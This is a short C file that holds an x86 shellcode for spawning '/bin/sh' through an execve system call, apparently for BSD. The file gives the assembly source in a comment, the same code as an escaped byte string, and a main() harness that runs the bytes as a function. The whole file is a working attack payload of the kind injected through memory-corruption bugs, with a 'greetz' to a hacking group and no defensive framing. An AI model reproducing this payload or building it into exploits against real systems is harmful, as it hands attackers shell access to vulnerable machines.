/*
// Greetz to team teso, for outp.c :-)
.globl cbegin
.globl cend

cbegin: 

jmp debut
fin:
        pop %ebx
        xorl %eax, %eax
        movb %al, 0x7(%ebx)
        movl %eax, 0xC(%ebx)
        movl %ebx, 0x8(%ebx)
        leal 0x8(%ebx), %edx
        push %eax
        push %edx
        push %ebx
        movb $0x3b,%al
        push %eax
        int $0x80       

debut:
        call fin
        .string "/bin/sh"
cend:
*/

unsigned char shellcode[] = 
"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x43\x0c\x89\x5b\x08\x8d\x53\x08"
"\x50\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";

int main() {
    void (*f)();
    f = (void *) shellcode;
    printf("%d\n", strlen(shellcode));
    f();
}

